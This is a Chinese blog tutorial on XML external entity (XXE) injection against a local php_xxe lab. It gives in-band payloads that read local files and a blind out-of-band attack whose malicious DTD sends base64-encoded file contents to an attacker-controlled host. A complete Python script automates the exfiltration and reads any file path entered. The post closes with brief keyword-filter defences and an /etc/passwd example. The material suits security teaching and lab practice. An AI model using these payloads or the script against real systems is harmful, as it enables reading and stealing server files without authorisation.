外部实体注入漏洞

原理

当允许引用外部实体时,会造成外部实体注入(XXE)漏洞。通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。XXE漏洞分为如下两种:有回显的XXE和无回显的XXE。

漏洞展示

有回显的XXE
我们现在d盘上新建了一个hacker.txt文件用于测试,首先我们先使用burpsuite进行抓包,这里的靶场使用的是php_xxe
在这里插入图片描述
这是XML注入的代码,因为在抓包时我们发现数据是以XML的格式进行传送的,初步判断可能存在XML外部实体注入漏洞
在这里插入图片描述

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///d:/hacker.txt">
]>

在这里插入图片描述
注入成功!!!
在这里插入图片描述
无回显的XXE演示
我们先打开php_xxe目录下的doLogin.php文件,注释掉echo $result,增加error_reporting(0)
在这里插入图片描述
可以看到,回显信息消失了
在这里插入图片描述
对于无回显的XXE,我们需要构建一条带外数据(Out-of Band,OOB)通道来读取数据。思路是:

  1. 攻击者先发送payload1给Web服务器
  2. payload1触发Web服务器,Web服务器向VPS获取恶意DTD,并执行payload2
  3. payload2使Web服务器把结果作为参数来访问VPS上的HTTP服务
  4. 攻击者通过VPS的HTTP访问记录得到结果

在这里插入图片描述
VPS(Virtual Private Server 虚拟专用服务器)技术,将一部服务器分割成多个虚拟专享服务器的优质服务。 每个vps都可分配独立公网IP地址、独立操作系统、独立超大空间、独立内存、独立CPU资源、独立执行程序和独立系统配置等。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。DTD可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

攻击过程
我们先开启kali的apache2的服务,然后在/var/www/html这个目录下创建一个evil.xml文件,文件内容如下

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.75.159/?content=%file;'>"> %payload;

然后在burpsuite中修改为这些内容

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=d:/hacker.txt">
<!ENTITY % dtd SYSTEM "http://192.168.75.159/evil.xml">
%dtd;
%send;
]>

在这里插入图片描述
kali的日志信息将文件的内容进行了base64编码,将content后的内容放入decoder上解码就是文件的内容了,启动apache2的命令和查看日志信息的命令为

service apache2 start
tail -f /var/log/apache2/access.log

在这里插入图片描述

代码实现自动化

写入脚本相关信息和模块

#!/usr/bin/python3
# -*- coding: utf-8 -*-


from http.server import HTTPServer,SimpleHTTPRequestHandler
import threading
import requests
import sys

编写攻击payload的生成函数,能够根据给定的IP地址和端口生成相应的包含恶意DTD的XML文件

# 创建攻击代码文件
def ExportPayload(lip,lport):
    file = open('evil.xml','w')
    file.write("<!ENTITY % payload \"<!ENTITY &#x25; send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(lip, lport))
    file.close()
    print("[*] Payload文件创建成功!")

编写HTTP服务函数,通过http.server模块实现HTTP服务,用来监听目标服务器返回的数据

# 开启HTTP服务,接收数据
def StartHTTP(lip,lport):
    # HTTP监听的IP地址和端口
    serverAddr = (lip, lport)
    httpd = HTTPServer(serverAddr, MyHandler)
    print("[*] 正在开启HTTP服务器:\n\n================\nIP地址:{0}\n端口:{1}\n================\n".format(lip, lport))
    httpd.serve_forever()

编写POST发送函数,用来向目标服务器发送攻击数据

#通过POST发送攻击数据
def SendData(lip, lport, url):
    # 需要读取的文件的路径(默认值)
    filePath = "d:\\hacker.txt"
    while True:
        # 对用户的输入的文件路径斜杠的替换
        filePath = filePath.replace('\\', "/")
        data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(filePath, lip, lport)
        requests.post(url, data=data)
        # 继续接收用户的输入,读取指定文件
        filePath = input("Input filePath:")

定义一个消息处理类,这个类继承SimpleHTTPRequestHandler。同时需要对原生的日志信息函数进行重写,使其在输出访问信息的同时,把访问的信息记录到文件中去

# 对原生的log_message函数进行重写,在输出结果的同时把结果保存到文件
class MyHandler(SimpleHTTPRequestHandler):
        
    def log_message(self, format, *args):
        # 终端输出HTTP访问信息
        sys.stderr.write("%s - - [%s] %s\n" %
                        (self.client_address[0],
                        self.log_date_time_string(),
                        format%args))
        # 保存信息到文件
        textFile = open("result.txt", "a")
        textFile.write("%s - - [%s] %s\n" %
                        (self.client_address[0], 
                        self.log_date_time_string(),
                        format%args))
        textFile.close()

编写主函数,在其中进行相关变量的定义以及函数的调用

if __name__ == '__main__':
    #本机IP,IP为kali虚拟机的IP
    lip = "192.168.75.159"
    #本机HTTP监听端口,可以使用netstat命令查看apache2监听的端口是多少
    lport = 80
    #目标网站提交表单的URL,IP为物理机的IP
    url = "http://192.168.101.3/xxe-lab/php_xxe/doLogin.php"
    # 创建payload文件
    ExportPayload(lip, lport)
    # HTTP服务线程
    threadHTTP = threading.Thread(target=StartHTTP,args=(lip, lport))
    threadHTTP.start()
    # 发送POST数据线程
    threadPOST = threading.Thread(target=SendData,args=(lip, lport, url))
    threadPOST.start()

执行效果如下图所示
在这里插入图片描述
将content后的内容进行base64解码即可看到文件内容
在这里插入图片描述
并且将访问的记录都保存在了result.txt文件中
在这里插入图片描述

防御策略

XXE的危害不仅在于攻击服务器,还能通过XXE进行内网的端口探测以及攻击内网网站等。防御的方式有默认禁止外部实体的解析对用户提交的XML数据进行过滤,如关键词<!DOCTYPE和<!ENTITY 或者 SYSTEM 和 PUBLIC等

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
XML外部实体注入漏洞(XML External Entity Injection, 简称XXE)是一种常见的安全漏洞,攻击者可以利用这种漏洞来读取任意文件、执行系统命令等操作。 在XML文档中,可以通过定义实体来引用外部资源,例如文件、URL等。当XML解析器解析XML文档时,如果不对外部实体进行限制,攻击者可以通过构造恶意的XML文档,将外部实体指向敏感文件或者恶意URL,从而导致漏洞。 具体来说,攻击者可以在XML文档中定义一个实体,使用DTD(Document Type Definition)语法将该实体指向一个外部文件,然后在XML文档中使用该实体。当XML解析器解析该实体时,就会将指定的外部文件读取进来,从而导致漏洞。 例如,下面的XML文档定义了一个名为“file”的实体,指向了一个敏感文件“/etc/passwd”: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <message>&file;</message> ``` 如果XML解析器不对外部实体进行限制,那么解析该文档时就会读取“/etc/passwd”文件的内容,并将其包含在<message>元素中返回给应用程序,从而导致敏感信息泄漏。 为了防止XXE漏洞,可以采取以下措施: 1. 禁止使用外部实体,或者限制外部实体的使用范围。可以在XML解析器中设置相关参数,例如禁止加载外部实体、禁止解析DTD等。 2. 对外部实体进行白名单过滤,只允许加载特定的URL或文件。 3. 检查输入数据,避免恶意输入注入到XML文档中。 4. 对于持久化的XML数据,应该使用安全的XML库来处理,例如使用DOM4J或JAXB等库,这些库会自动过滤掉外部实体

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值